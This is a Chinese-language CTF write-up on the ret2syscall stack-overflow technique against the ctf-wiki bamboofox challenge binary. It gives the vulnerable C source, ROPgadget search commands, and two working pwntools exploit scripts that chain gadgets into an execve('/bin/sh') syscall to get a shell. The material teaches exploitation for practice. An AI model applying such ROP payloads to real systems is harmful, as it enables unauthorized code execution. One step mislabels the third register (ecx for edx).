栈溢出之ret2syscall

前言

在NX保护机制被打开无法使用ret2shellcode,且代码中没有可利用片段时无法使用ret2text时,仍然有很多方法可以构造恶意代码,这篇文章就介绍另一种方法:ret2syscall

ret2syscall原理

ret2syscall,系统呼叫,也叫系统调用,顾名思义,ret2syscall是一种通过系统调用来执行恶意代码的攻击方式。

在计算机中,系统调用指运行在使用者空间的程序向操作系统内核请求需要更高权限运行的服务。Linux的系统调用通过int 80h实现,用系统调用号来区分入口函数。当进程执行系统调用时,先调用系统调用库中定义某个函数,该函数通常被展开成前面提到的_syscallN的形式通过int 0x80来陷入核心,其参数也将被通过寄存器传往核心。

系统调用相关的知识就不再赘述,感兴趣的可以去查阅相关资料,下来通过实验来详细说明一下这种攻击方式。

题目描述

本题目我们使用ctf-wiki中basicROP-ret2syscall的例子。直接在https://wiki.x10sec.org/pwn/stackoverflow/basic_rop/#ret2syscall中提供的链接下载即可(ctf-wiki中旧链接题目已经被迁移到同作者另一个项目ctf-challenges中)。

题目链接:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
char *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n");
printf("What do you plan to do?\n");
gets(buf);
return 0;
}

ROP过程

问题分析

面对不是我们自己编译的程序,首先file命令查看程序,然后将程序放入gdb中,使用checksec查看一下安全机制。

分析程序,在15行gets(buf)中很明显有栈溢出,但是本例中,既没有可以执行的恶意代码system(“/bin/sh”),也有NX保护,无法直接构造执行shellcode。但是具有一个”/bin/sh”字符串,这个字符串看上去一定有问题,却无法直接利用,我们根据前面讲到的系统调用的定义,查阅相关资料,就会有一些思路。

我们如果想使用系统调用int 0x80来打开一个shell,就需要构造一个如下指令的系统调用

1
execve("/bin/sh",NULL,NULL)

由于我们刚才file看到这个程序是32位程序,就需要当eax是int 0xb时,就可以调用系统指令execve。

这个指令有三个参数,分别是”/bin/sh”,NULL,NULL。

那我们在执行时就还需要三个额外的寄存器来存储这三个值,分别是ebx、ecx、edx。

需要的操作有以下四点:

  • 1.使eax等于int 0xb,触发execve()。
  • 2.ebx是第一个参数,要赋值为”/bin/sh”
  • 3.ecx是第二个参数,要赋值为0
  • 4.ecx是第三个参数,要赋值为0

所以我们要寻找int 0x80,”/bin/sh”的地址,以及对eax、ebx、ecx、edx四个寄存器赋值的指令地址。

寻找信息

接下来就按照整理好的思路一步步获取信息,此次需要使用到一个工具ROPgadget。

1.寻找int 0x80地址

ROPgadget –binary ret2syscall –only “int”

2.寻找”/bin/sh”地址

ROPgadget –binary ret2syscall –string “/bin/sh”

3.寻找对eax赋值的地址

ROPgadget –binary ret2syscall –only “pop|ret” |grep eax

4.寻找对ebx赋值的地址

ROPgadget –binary ret2syscall –only “pop|ret” |grep ebx

5.寻找对ecx赋值的地址

ROPgadget –binary ret2syscall –only “pop|ret” |grep ecx

6.寻找对edx赋值的地址

ROPgadget –binary ret2syscall –only “pop|ret” |grep edx

从ROPgadget的结果可以得到,int 0x80的地址是0x8049421,”/bin/sh”的地址是0x80be408,对eax赋值的地址是0x80bb196,连续对ebx、ecx、edx赋值的地址是0x806eb90。

此时我们所有需要的信息都得到了,就可以开始构造我们的payload了。

pwn

首先分析payload构成,要在将返回地址指向int 0x80,在返回之前要将四个寄存器赋值完成,所以最终payload构成是

payload = padding+pop_eax+”0xb”+pop_edx_ecx_ebx+0+0+”/bin/sh”+int 0x80

padding是填充的偏移

payload = “A”*112+p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)

然后写出exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = process('./ret2syscall')
eax = 0x080bb196
edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = "A"*112+p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
sh.sendline(payload)
sh.interactive()

执行exp即可获取shell

当然也可以通过别的方法分别赋值几个寄存器,只要最后让每一个寄存器的值都符合条件,就可以触发。如:

上面我们打印了grep ecx和edx时得到的

ecx_ebx = 0x0806eb91

edx = 0x0806eb6a

那么payload也可以写成

payload = “A”*112+p32(eax)+p32(0xb)+p32(ecx_ebx)+p32(0)+p32(binsh)+p32(edx)+p32(0)+p32(int_0x80)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = process('./ret2syscall')
eax = 0x080bb196
ecx_ebx = 0x0806eb91
edx = 0x0806eb6a
int_0x80 = 0x08049421
binsh = 0x80be408
payload = "A"*112+p32(eax)+p32(0xb)+p32(ecx_ebx)+p32(0)+p32(binsh)+p32(edx)+p32(0)+p32(int_0x80)
sh.sendline(payload)
sh.interactive()

执行exp2获取shell